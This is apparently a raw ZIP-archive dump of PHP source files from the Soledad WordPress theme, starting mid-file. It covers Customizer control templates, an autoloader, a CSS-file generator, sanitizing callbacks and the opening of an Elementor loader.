									}
									defaultValue = ' data-default-color=' + defaultValue; // Quotes added automatically.
								} #>
								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{{ field.label }}}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{{ field.description }}}</span>
									<# } #>
									<input class="color-picker-hex" type="text" maxlength="7" placeholder="<?php echo esc_attr__( 'Hex Value', 'soledad' ); ?>"  value="{{{ field.default }}}" data-field="{{{ field.id }}}" {{ defaultValue }} />

								</label>

							<# } else if ( 'textarea' === field.type ) { #>

								<# if ( field.label ) { #>
									<span class="customize-control-title">{{ field.label }}</span>
								<# } #>
								<# if ( field.description ) { #>
									<span class="description customize-control-description">{{ field.description }}</span>
								<# } #>
								<textarea rows="5" data-field="{{{ field.id }}}">{{ field.default }}</textarea>

							<# } else if ( field.type === 'image' || field.type === 'cropped_image' ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
								</label>

								<figure class="soledad-fw-image-attachment" data-placeholder="<?php echo esc_attr__( 'No Image Selected', 'soledad' ); ?>" >
									<# if ( field.default ) { #>
										<# var defaultImageURL = ( field.default.url ) ? field.default.url : field.default; #>
										<img src="{{{ defaultImageURL }}}">
									<# } else { #>
										<?php echo esc_attr__( 'No Image Selected', 'soledad' ); ?>
									<# } #>
								</figure>

								<div class="actions">
									<button type="button" class="button remove-button<# if ( ! field.default ) { #> hidden<# } #>"><?php echo esc_attr__( 'Remove', 'soledad' ); ?></button>
									<button type="button" class="button upload-button" data-label=" <?php echo esc_attr__( 'Add Image', 'soledad' ); ?>" data-alt-label="<?php echo esc_attr__( 'Change Image', 'soledad' ); ?>" >
										<# if ( field.default ) { #>
											<?php echo esc_attr__( 'Change Image', 'soledad' ); ?>
										<# } else { #>
											<?php echo esc_attr__( 'Add Image', 'soledad' ); ?>
										<# } #>
									</button>
									<# if ( field.default.id ) { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default.id }}}" data-field="{{{ field.id }}}" >
									<# } else { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default }}}" data-field="{{{ field.id }}}" >
									<# } #>
								</div>

							<# } else if ( field.type === 'upload' ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
								</label>

								<figure class="soledad-fw-file-attachment" data-placeholder="<?php echo esc_attr__( 'No File Selected', 'soledad' ); ?>" >
									<# if ( field.default ) { #>
										<# var defaultFilename = ( field.default.filename ) ? field.default.filename : field.default; #>
										<span class="file"><span class="dashicons dashicons-media-default"></span> {{ defaultFilename }}</span>
									<# } else { #>
										<?php echo esc_attr__( 'No File Selected', 'soledad' ); ?>
									<# } #>
								</figure>

								<div class="actions">
									<button type="button" class="button remove-button<# if ( ! field.default ) { #> hidden<# } #>"><?php echo esc_attr__( 'Remove', 'soledad' ); ?></button>
									<button type="button" class="button upload-button" data-label="<?php echo esc_attr__( 'Add File', 'soledad' ); ?>" data-alt-label="<?php echo esc_attr__( 'Change File', 'soledad' ); ?>" >
										<# if ( field.default ) { #>
											<?php echo esc_attr__( 'Change File', 'soledad' ); ?>
										<# } else { #>
											<?php echo esc_attr__( 'Add File', 'soledad' ); ?>
										<# } #>
									</button>
									<# if ( field.default.id ) { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default.id }}}" data-field="{{{ field.id }}}" >
									<# } else { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default }}}" data-field="{{{ field.id }}}" >
									<# } #>
								</div>

							<# } #>

						</div>
					<# }); #>
					<button type="button" class="button-link repeater-row-remove"><?php echo esc_attr__( 'delete', 'soledad' ); ?></button>
				</div>
			</li>
		</script>
		<?php
	}
}
PK     0w\Slx  x  6  customizer/framework/customizer/control/class-size.phpnu [        <?php

namespace SoledadFW\Customizer\Control;
class Size extends Control_Abstract {
	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-size';
	public $description = '';
	public $sub_description = '';
	public $ids = [];

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$devices = array( 'desktop', 'mobile' );
		foreach ( $devices as $device ) {
			$this->json['choices'][ $device ]['min']     = ( isset( $this->choices[ $device ]['min'] ) ) ? $this->choices[ $device ]['min'] : '0';
			$this->json['choices'][ $device ]['max']     = ( isset( $this->choices[ $device ]['max'] ) ) ? $this->choices[ $device ]['max'] : '100';
			$this->json['choices'][ $device ]['step']    = ( isset( $this->choices[ $device ]['step'] ) ) ? $this->choices[ $device ]['step'] : '1';
			$this->json['choices'][ $device ]['edit']    = ( isset( $this->choices[ $device ]['edit'] ) ) ? $this->choices[ $device ]['edit'] : false;
			$this->json['choices'][ $device ]['unit']    = ( isset( $this->choices[ $device ]['unit'] ) ) ? $this->choices[ $device ]['unit'] : false;
			$this->json['choices'][ $device ]['default'] = ( isset( $this->choices[ $device ]['default'] ) ) ? $this->choices[ $device ]['default'] : '';
		}

		foreach ( $this->ids as $setting_key => $setting_id ) {
			$value                      = get_theme_mod( $setting_id );
			$default                    = ( isset( $this->choices[ $setting_key ]['default'] ) ) ? $this->choices[ $setting_key ]['default'] : '';
			$this->json[ $setting_key ] = array(
				'link'  => $this->get_link( $setting_id ),
				'value' => $value ? $value : $default,
			);
		}

		$this->json['desktop_label'] = __( 'Desktop', 'soledad' );
		$this->json['mobile_label']  = __( 'Mobile', 'soledad' );
		$this->json['reset_label']   = __( 'Reset', 'soledad' );

		$this->json['description']     = $this->description;
		$this->json['sub_description'] = $this->sub_description;
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
        <div class="pencidesign-range-slider-control">
            <div class="pencidesign-range-inner<# if ( ! data.choices['desktop']['unit'] ) { #> penci-wider-width<# } #>">
                <div class="penci-range-lableparent">
                    <# if ( data.label || data.description ) { #>
                    <div class="penci-range-title-info">
                        <# if ( data.label ) { #>
                        <span class="customize-control-title">{{{ data.label }}}</span>
                        <# } #>

                        <# if ( data.description ) { #>
                        <p class="customize-control-description description penci-range-lable">{{{ data.description }}}</p>
                        <# } #>
                    </div>
                    <# } #>
                    <# if ( data.sub_description ) { #>
                    <p class="description sub-description">{{{ data.sub_description }}}</p>
                    <# } #>
                </div>

                <div class="penci-control-process">
                    <div class="penci-range-title-area">
                        <div class="penci-range-slider-controls">
								<span class="penci-device-controls">
									<# if ( 'undefined' !== typeof ( data.desktop ) ) { #>
										<span class="pencidesign-device-desktop dashicons dashicons-desktop"
                                              data-option="desktop" title="{{ data.desktop_label }}"></span>
									<# } #>

									<# if ( 'undefined' !== typeof (data.mobile) ) { #>
										<span class="pencidesign-device-mobile dashicons dashicons-smartphone"
                                              data-option="mobile" title="{{ data.mobile_label }}"></span>
									<# } #>
								</span>

                            <span title="{{ data.reset_label }}"
                                  class="pencidesign-reset dashicons dashicons-image-rotate"></span>
                        </div>
                    </div>

                    <div class="penci-range-slider-areas">
                        <# if ( 'undefined' !== typeof ( data.desktop ) ) { #>
                        <label class="range-option-area" data-option="desktop" style="display: none;">
                            <div class="wrapper <# if ( '' !== data.choices['desktop']['unit'] ) { #>has-unit<# } #>">
                                <div class="penci_range_value <# if ( '' == data.choices['desktop']['unit'] && ! data.choices['desktop']['edit'] ) { #>hide-value<# } #>">
                                    <input <# if ( data.choices['desktop']['edit'] ) { #>style="display:inline-block;"<#
                                    } else { #>style="display:none;"<# } #> type="number" step="{{
                                    data.choices['desktop']['step'] }}" class="desktop-range value" value="{{
                                    data.desktop.value }}" min="{{ data.choices['desktop']['min'] }}" max="{{
                                    data.choices['desktop']['max'] }}" {{{ data.desktop.link }}} data-reset_value="{{
                                    data.choices['desktop']['default'] }}" />
                                    <span <# if ( ! data.choices['desktop']['edit'] ) {
                                    #>style="display:inline-block;"<# } else { #>style="display:none;"<# } #>
                                    class="value">{{ data.desktop.value }}</span>
                                    <# if ( data.choices['desktop']['unit'] ) { #>
                                    <span class="unit">{{ data.choices['desktop']['unit'] }}</span>
                                    <# } #>
                                </div>
                            </div>
                        </label>
                        <# } #>

                        <# if ( 'undefined' !== typeof ( data.mobile ) ) { #>
                        <label class="range-option-area" data-option="mobile" style="display:none;">
                            <div class="wrapper <# if ( '' !== data.choices['mobile']['unit'] ) { #>has-unit<# } #>">
                                <div class="penci_range_value <# if ( '' == data.choices['mobile']['unit'] && ! data.choices['desktop']['edit'] ) { #>hide-value<# } #>">
                                    <input <# if ( data.choices['mobile']['edit'] ) { #>style="display:inline-block;"<#
                                    } else { #>style="display:none;"<# } #> type="number" step="{{
                                    data.choices['mobile']['step'] }}" class="mobile-range value" value="{{
                                    data.mobile.value }}" min="{{ data.choices['mobile']['min'] }}" max="{{
                                    data.choices['mobile']['max'] }}" {{{ data.mobile.link }}} data-reset_value="{{
                                    data.choices['mobile']['default'] }}" />
                                    <span <# if ( ! data.choices['mobile']['edit'] ) { #>style="display:inline-block;"<#
                                    } else { #>style="display:none;"<# } #> class="value">{{ data.mobile.value }}</span>
                                    <# if ( data.choices['mobile']['unit'] ) { #>
                                    <span class="unit">{{ data.choices['mobile']['unit'] }}</span>
                                    <# } #>
                                </div>
                            </div>
                        </label>
                        <# } #>
                    </div>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     0w\ݶ?  ?  8  customizer/framework/customizer/control/class-number.phpnu [        <?php
/**
 * Customizer Control: number.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Number extends Control_Abstract {
	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-number';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="customize-control-content">
				<input type="text" {{{ data.link }}} value="{{ data.value }}"/>
			</div>
		</label>
		<?php
	}
}
PK     0w\xī    =  customizer/framework/customizer/control/class-radio-image.phpnu [        <?php
/**
 * Customizer Control: radio-image.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Radio Image control (modified radio).
 */
class Radio_Image extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-radio-image';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>
		<div id="input_{{ data.id }}" class="image">
			<# for ( key in data.choices ) { #>
				<input class="image-select" type="radio" value="{{ key }}" name="_customize-radio-{{ data.id }}" id="{{ data.id }}{{ key }}" {{{ data.link }}}<# if ( data.value === key ) { #> checked="checked"<# } #>></input>
				<label for="{{ data.id }}{{ key }}" data-id="{{ key }}">
					<span class="image-clickable"></span>
				</label>

			<# } #>
		</div>
		<?php
	}
}
PK     0w\`    =  customizer/framework/customizer/control/class-multi-check.phpnu [        <?php

/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class MultiCheck extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-multi-check';

	public function to_json() {
		parent::to_json();
		$multi_values               = ! is_array( $this->value() ) ? json_encode( explode( ',', $this->value() ) ) : $this->value();
		$this->json['multi_values'] = $multi_values;
	}


	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() { ?>

        <# if ( data.label ) { #>
        <span class="customize-control-title">{{{ data.label }}}</span>
        <# } #>
        <# if ( data.description ) { #>
        <p class="description customize-control-description">{{{ data.description }}}</p>
        <# } #>
        <ul>
            <# _.each(data.choices,function(value,key){
            if (typeof data.value.split === 'function') {
                value_arr = data.value.split(",");
            } else {
                value_arr = '';
            }
            #>
            <li>
                <label>
                    <input type="checkbox" value="{{ key }}" <# if ( _.contains(_.toArray(value_arr),key) ) { #>checked<# } #>/>
                    {{ value.name}}
                </label>
            </li>
            <# }) #>
        </ul>

        <input id="_customize-input-{{data.id}}" name="_customize-input-{{data.id}}"
               type="hidden" {{{ data.link }}}
               value="{{data.value}}"/>
		<?php
	}
}
PK     0w\epnQ  Q  !  customizer/framework/autoload.phpnu [        <?php
/**
 * Register SPL Autoloader
 *
 * @package soledad
 * @since 1.0.0
 */

spl_autoload_register(
	function ( $class ) {
		$prefix   = 'SoledadFW\\';
		$base_dir = PENCI_CLASSPATH;
		$len      = strlen( $prefix );

		if ( strncmp( $prefix, $class, $len ) !== 0 ) {
			  return;
		}

		$relative_class = substr( $class, $len );
		$class_path     = explode( '\\', $relative_class );
		$relative_class = array_pop( $class_path );
		$class_path     = strtolower( implode( '/', $class_path ) );

		preg_match_all( '/((?:^|[A-Z])[a-z]+)/', $relative_class, $matches );
		$class_name = 'class-' . implode( '-', $matches[0] ) . '.php';
		$file       = rtrim( $base_dir, '/' ) . '/' . $class_path . '/' . strtolower( $class_name );

		if ( is_link( $file ) ) {
			$file = readlink( $file );
		}

		if ( is_file( $file ) ) {
			require $file;
		}
	}
);
PK     0w\|    "  customizer/framework/bootstrap.phpnu [        <?php
defined( 'PENCI_FW' ) || define( 'PENCI_FW', 'soledad' );
defined( 'PENCI_FW_VERSION' ) || define( 'PENCI_FW_VERSION', '10.0.0' );
defined( 'PENCI_FW_URL' ) || define( 'PENCI_FW_URL', PENCI_SOLEDAD_URL );
defined( 'PENCI_FW_FILE' ) || define( 'PENCI_FW_FILE', __FILE__ );
defined( 'PENCI_FW_DIR' ) || define( 'PENCI_FW_DIR', PENCI_SOLEDAD_URL );
defined( 'PENCI_THEME_URL' ) || define( 'PENCI_THEME_URL', PENCI_FW_URL );

// Need to define PENCI_URL on plugin / Themes.
defined( 'PENCI_URL' ) || define( 'PENCI_URL', PENCI_THEME_URL . '/inc/customizer/framework' );
defined( 'PENCI_VERSION' ) || define( 'PENCI_VERSION', '1.2.6' );
defined( 'PENCI_DIR' ) || define( 'PENCI_DIR', dirname( __FILE__ ) );
defined( 'PENCI_CLASSPATH' ) || define( 'PENCI_CLASSPATH', PENCI_DIR );

require_once 'autoload.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/autoload.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/classes/class-customizer.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/init.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/settings.php';
\SoledadFW\Customizer::getInstance();

add_action( 'init', 'soledad_fw_initialize_customizer' );

/**
 * Initialize Customizer
 */
if ( ! function_exists( 'soledad_fw_initialize_customizer' ) ) {
	function soledad_fw_initialize_customizer() {
		// Instantiate Customizer.
		SoledadFW\Customizer\Customizer::get_instance();
	}
}
PK     0w\7d,  ,     customizer/generate-css-file.phpnu [        <?php
// No direct access
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * class Penci_Generate_Customizer_CSS_File
 */
if( ! class_exists( 'Penci_Generate_Customizer_CSS_File' ) ){
	class Penci_Generate_Customizer_CSS_File {
		
		private static $instance;

		public static function get_instance() {
			if ( ! isset( self::$instance ) ) {
				self::$instance = new self();
			}

			return self::$instance;
		}

		/* Hook to __construct function */
		public function __construct() {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_customizer_css' ), 100 );
			add_action( 'customize_save_after', array( $this, 'remove_option_render_time' ) );

			if ( ! empty( $_POST ) ) {
				add_action( 'wp_ajax_penci_render_separate_css_file', array( $this, 'regenerate_css_file' ) );
			}
		}

		/**
		 * Check to get correct the regenerate CSS data
		 */
		public function regenerate_return() {
			$option = get_theme_mod( 'penci_spcss_render' );

			if ( 'separate_file' == $option ) {
				$data_time = get_option( 'penci_regenerate_css_time' );
				$data_version = get_option( 'penci_regenerate_css_time' );
				if ( ! $data_version ) {
					// Create a version of Customizer CSS file
					update_option( 'penci_regenerate_version', time() );
				}

				if ( ! $data_time ) {
					// Created a data saved time - before 5sec to make sure the file can be created
					$data_time = time() - 5;
					update_option( 'penci_regenerate_css_time', $data_time );
				}

				// Create 1 file every 5 seconds.
				$current_time = (int) time();
				$saved_time    = (int) $data_time;

				if ( 5 <= ( $current_time - $saved_time ) ) {
					$option = ( $this->can_write_css() && $this->create_css() ) ? 'separate_file' : 'inline';
					
					if ( 'separate_file' == $option ) {
						$option = ( file_exists( $this->generate_file( 'path' ) ) ) ? 'separate_file' : 'inline';
					}
				}
			}

			return $option;
		}

		/**
		 * Enqueue the Customizer CSS file
		 */
		public function enqueue_customizer_css() {
			if ( 'separate_file' == $this->regenerate_return() ) {
				wp_enqueue_style( 'penci-soledad-customizer', esc_url( $this->generate_file( 'uri' ) ), array(), null );
			}
		}

		/**
		 * Create Customizer CSS file
		 */
		public function create_css() {
			$content = '';

			if( function_exists( 'pencidesign_return_css' ) ){
				$string_css = pencidesign_return_css();
				$string_render = trim(preg_replace('/\s+/', ' ', $string_css));
				$content .= $string_render;
			}
			
			/* Add a filter to hook to this content data */
			$content = apply_filters( 'penci_regenerate_separate_file_hook', $content );

			if ( ! $content ) {
				return false; /* Return if the $content is empty */
			}

			global $wp_filesystem;
			
			if ( empty( $wp_filesystem ) ) {
				require_once ABSPATH . '/wp-admin/includes/file.php';
				WP_Filesystem();
			}

			// Check if WP Multisite domain mapping is activated - see more: https://wordpress.org/support/article/wordpress-multisite-domain-mapping/
			if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) {
				if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) {
					$domain_mapping = domain_mapping_siteurl( false );
					$domain_mapping = str_replace( 'https://', '//', $domain_mapping );
					$domain_mapping = str_replace( 'http://', '//', $domain_mapping );

					$original_url = get_original_url( 'siteurl' );
					$original_url = str_replace( 'https://', '//', $original_url );
					$original_url = str_replace( 'http://', '//', $original_url );

					$content = str_replace( $original_url, $domain_mapping, $content );
				}
			}

			// Strip protocols.
			$content = str_replace( 'https://', '//', $content );
			$content = str_replace( 'http://', '//', $content );

			if ( is_writable( $this->generate_file( 'path' ) ) || ( ! file_exists( $this->generate_file( 'path' ) ) && is_writable( dirname( $this->generate_file( 'path' ) ) ) ) ) {
				if ( ! $wp_filesystem->put_contents( $this->generate_file( 'path' ), wp_strip_all_tags( $content ), 0644 ) ) {
					return false;
				} else {
					$this->update_option_render_time();
					
					return true;
				}
			}
		}

		/**
		 * Detect if we can write a new CSS file
		 */
		public function can_write_css() {
			global $blog_id;
			
			$upload_folder_dir = wp_upload_dir();

			// If WP Multisite activated, add more $blog_id to the URL
			$css_file_id = ( is_multisite() && $blog_id > 1 ) ? '_blog-' . $blog_id : null;

			$css_file_name   = '/customizer-style' . $css_file_id . '.min.css';
			$folder_path = $upload_folder_dir['basedir'] . DIRECTORY_SEPARATOR . 'pencidesign';

			// Check folder is exists or not
			if ( file_exists( $folder_path ) ) {
				// Forder can be write or not?
				if ( ! is_writable( $folder_path ) ) {
					// Check CSS file is exists or not
					if ( ! file_exists( $folder_path . $css_file_name ) ) {
						// Done because it can't be write
						return false;
					} else {
						if ( ! is_writable( $folder_path . $css_file_name ) ) {
							// Done because it can't be write
							return false;
						}
					}
				} else {
					if ( file_exists( $folder_path . $css_file_name ) ) {
						if ( ! is_writable( $folder_path . $css_file_name ) ) {
							// Done because it can't be write
							return false;
						}
					}
				}
			} else {
				// Create folder path
				return wp_mkdir_p( $folder_path );
			}

			return true;
		}

		/**
		 * Gets the css path or url of customizer CSS
		 *
		 */
		public function generate_file( $return = 'path' ) {
			global $blog_id;
			
			$upload_folder_dir = wp_upload_dir();

			// If WP Multisite activated, add more $blog_id to the URL
			$css_file_id = ( is_multisite() && $blog_id > 1 ) ? '_blog-' . $blog_id : null;

			$css_file_name   = 'customizer-style' . $css_file_id . '.min.css';
			$folder_path = $upload_folder_dir['basedir'] . DIRECTORY_SEPARATOR . 'pencidesign';

			// File path
			$css_path = $folder_path . DIRECTORY_SEPARATOR . $css_file_name;

			// URL directory of customizer CSS
			$css_folder_uri = $upload_folder_dir['baseurl'];

			$css_uri = trailingslashit( $css_folder_uri ) . 'pencidesign/' . $css_file_name;

			// Check if WP Multisite domain mapping is activated - see more: https://wordpress.org/support/article/wordpress-multisite-domain-mapping/
			if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) {
				if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) {
					$domain_mapping   = domain_mapping_siteurl( false );
					$original_url = get_original_url( 'siteurl' );
					$css_uri         = str_replace( $original_url, $domain_mapping, $css_uri );
				}
			}

			// Protocols
			$css_uri = str_replace( 'https://', '//', $css_uri );
			$css_uri = str_replace( 'http://', '//', $css_uri );

			if ( 'path' === $return ) {
				return $css_path;
			} elseif ( 'uri' === $return || 'url' === $return ) {
				$version = get_option( 'penci_regenerate_version' );
				$savetime = ( file_exists( $css_path ) ) ? '?version=' . $version : '';
				return $css_uri . $savetime;
			}
		}

		/**
		 * Update the option saved time
		 */
		public function update_option_render_time() {
			$data_time = time();

			update_option( 'penci_regenerate_css_time', $data_time );
		}

		/**
		 * Delete the option saved time
		 */
		public function remove_option_render_time() {
			$data_time = get_option( 'penci_regenerate_css_time' );

			if ( $data_time ) {
				delete_option( 'penci_regenerate_css_time' );
			}
			
			update_option( 'penci_regenerate_version', time() );
		}

		/**
		 * Regenerate the CSS file.
		 */
		public function regenerate_css_file() {
			check_ajax_referer( 'penci_render_separate_css_file', '_nonce' );

			if ( ! current_user_can( 'manage_options' ) ) {
				wp_send_json_error( __( 'User Permission Error', 'soledad' ) );
			}

			$this->remove_option_render_time();

			wp_send_json_success();
			
			die();
		}
	}

	Penci_Generate_Customizer_CSS_File::get_instance();

}PK     0w\      customizer/sanitizing.phpnu [        <?php
/**
 * Callback function for sanitizing radio settings.
 * Use for PenciDesign
 *
 * @param $input , $setting
 *
 * @return $input
 */
if ( ! function_exists( 'penci_sanitize_choices_field' ) ) {
	function penci_sanitize_choices_field( $input ) {
		return $input;
	}
}

/**
 * Callback function for sanitizing textarea settings
 * Use for PenciDesign
 *
 * @param $input , $setting
 *
 * @return $input
 */
if ( ! function_exists( 'penci_sanitize_textarea_field' ) ) {
	function penci_sanitize_textarea_field( $input ) {
		return $input;
	}
}
/**
 * Callback function for sanitizing checkbox settings.
 * Use for PenciDesign
 *
 * @param $input
 *
 * @return string default value if type is not exists
 */
if ( ! function_exists( 'penci_sanitize_checkbox_field' ) ) {
	function penci_sanitize_checkbox_field( $input ) {
		if ( $input == 1 ) {
			return true;
		} else {
			return false;
		}
	}
}

/**
 * Callback function for sanitizing switch settings.
 * Use for PenciDesign
 *
 * @param $input
 *
 * @return string default value if type is not exists
 */
if ( ! function_exists( 'penci_switch_sanitization' ) ) {
	function penci_switch_sanitization( $input ) {
		if ( true === $input ) {
			return 1;
		} else {
			return 0;
		}
	}
}

/**
 * Callback function for sanitizing checkbox settings.
 * Use for PenciDesign
 *
 * @param $input
 *
 * @return a number
 */
if ( ! function_exists( 'penci_sanitize_number_field' ) ) {
	function penci_sanitize_number_field( $input ) {
		return absint( $input );
	}
}


/**
 * Sanitize integers that can use decimals
 *
 * @return a decimal
 */
if ( ! function_exists( 'penci_sanitize_decimal_field' ) ) {
	function penci_sanitize_decimal_field( $input ) {
		return abs( floatval( $input ) );
	}
}

/**
 * Sanitize integers that can use decimals
 *
 * @return empty if input is empty or a decimal
 */
if ( ! function_exists( 'penci_sanitize_decimal_empty_field' ) ) {
	function penci_sanitize_decimal_empty_field( $input ) {
		if ( '' == $input ) {
			return '';
		}

		return abs( floatval( $input ) );
	}
}

/**
 * Sanitize integers that can use decimals
 *
 * @return empty if input is empty or a decimal
 */
if ( ! function_exists( 'penci_sanitize_multiple_checkbox' ) ) {
	function penci_sanitize_multiple_checkbox( $values ) {

		$multi_values = ! is_array( $values ) ? explode( ',', $values ) : $values;

		return ! empty( $multi_values ) ? array_map( 'sanitize_text_field', $multi_values ) : array();
	}
}

/**
 * Output CSS for desktop & mobile devices based on selector & option & attr
 *
 * @return string
 */
if ( ! function_exists( 'penci_renders_css' ) ) {
	function penci_renders_css( $selector, $option, $attr = null ) {
		if ( '' == $selector || '' == $option ) {
			return '';
		}
		$return        = '';
		$attr          = is_null( $attr ) ? 'font-size' : $attr;
		$sub_fix       = ( 'font-size' == $attr ) ? 'px' : '';
		$mobile_option = $option . '_mobile';

		if ( get_theme_mod( $option ) ) {
			$return = $selector . '{' . $attr . ':' . get_theme_mod( $option ) . $sub_fix . ';}';
		}
		if ( get_theme_mod( $mobile_option ) ) {
			$return .= '@media only screen and (max-width: 479px){' . $selector . '{' . $attr . ':' . get_theme_mod( $mobile_option ) . $sub_fix . ';}}';
		}

		return $return;

	}
}

/**
 * Call back to showing generate css button when render Separate CSS File is selected
 *
 * @since 1.11.0
 */
if ( ! function_exists( 'penci_activate_separate_css_file_callback' ) ) {
	function penci_activate_separate_css_file_callback() {

		if ( 'separate_file' === get_theme_mod( 'penci_spcss_render' ) ) {
			return true;
		}

		return false;
	}
}

/**
 * Only allow values between a certain minimum & maxmium range
 *
 * @param number    Input to be sanitized
 *
 * @return number    Sanitized input
 */
if ( ! function_exists( 'penci_in_range' ) ) {
	function penci_in_range( $input, $min, $max ) {
		if ( $input < $min ) {
			$input = $min;
		}
		if ( $input > $max ) {
			$input = $max;
		}

		return $input;
	}
}

/**
 * Alpha Color (Hex, RGB & RGBa) sanitization
 *
 * @param string    Input to be sanitized
 *
 * @return string    Sanitized input
 */
if ( ! function_exists( 'penci_hex_rgba_sanitization' ) ) {
	function penci_hex_rgba_sanitization( $input, $setting ) {
		if ( empty( $input ) || is_array( $input ) ) {
			return $setting->default;
		}

		if ( false === strpos( $input, 'rgb' ) ) {
			// If string doesn't start with 'rgb' then santize as hex color
			$input = sanitize_hex_color( $input );
		} else {
			if ( false === strpos( $input, 'rgba' ) ) {
				// Sanitize as RGB color
				$input = str_replace( ' ', '', $input );
				sscanf( $input, 'rgb(%d,%d,%d)', $red, $green, $blue );
				$input = 'rgb(' . penci_in_range( $red, 0, 255 ) . ',' . penci_in_range( $green, 0, 255 ) . ',' . penci_in_range( $blue, 0, 255 ) . ')';
			} else {
				// Sanitize as RGBa color
				$input = str_replace( ' ', '', $input );
				sscanf( $input, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
				$input = 'rgba(' . penci_in_range( $red, 0, 255 ) . ',' . penci_in_range( $green, 0, 255 ) . ',' . penci_in_range( $blue, 0, 255 ) . ',' . penci_in_range( $alpha, 0, 1 ) . ')';
			}
		}

		return $input;
	}
}

if ( ! function_exists( 'penci_text_sanitization' ) ) {
	function penci_text_sanitization( $input ) {
		if ( ! is_array( $input ) && strpos( $input, ',' ) !== false ) {
			$input = explode( ',', $input );
		}
		if ( is_array( $input ) ) {
			foreach ( $input as $key => $value ) {
				$input[ $key ] = sanitize_text_field( $value );
			}
			$input = implode( ',', $input );
		} else {
			$input = sanitize_text_field( $input );
		}

		return $input;
	}
}

if ( ! function_exists( 'penci_spacing_sanitization' ) ) {
	function penci_spacing_sanitization( $input ) {
		if ( is_array( $input ) ) {
			$return = [];
			foreach ( $input as $key => $value ) {
				$return[ $key ] = absint( $value );
			}
			$return = implode( ',', $return );
		} else {
			$return = absint( $input );
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_custom_sanitization' ) ) {
	/**
	 * Text sanitization function for Customize API
	 *
	 * @param string $input Input to be sanitized.
	 *
	 * @return string        Sanitized input.
	 * @since 1.0.0
	 */
	function penci_custom_sanitization( $input ) {
		return wp_kses_post( force_balance_tags( $input ) );
	}
}
PK     0w\C;L  L    elementor/loader.phpnu [        <?php

namespace PenciSoledadElementor;
use Elementor\Plugin;
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Loader {
	private static $_instance;
	public $modules_manager;
	protected $font_types = [];
	private $classes_aliases = array(
		'PenciSoledadElementor\Modules\PanelPostsControl\Module'                             => 'PenciSoledadElementor\Modules\QueryControl\Module',
		'PenciSoledadElementor\Modules\PanelPostsControl\Controls\Penci_Group_Control_Posts' => 'PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts',
		'PenciSoledadElementor\Modules\PanelPostsControl\Controls\Query'                     => 'PenciSoledadElementor\Modules\QueryControl\Controls\Query',
	);

	/**
	 * Plugin constructor.
	 */
	private function __construct() {
		spl_autoload_register( array( $this, 'autoload' ) );

		$this->includes();
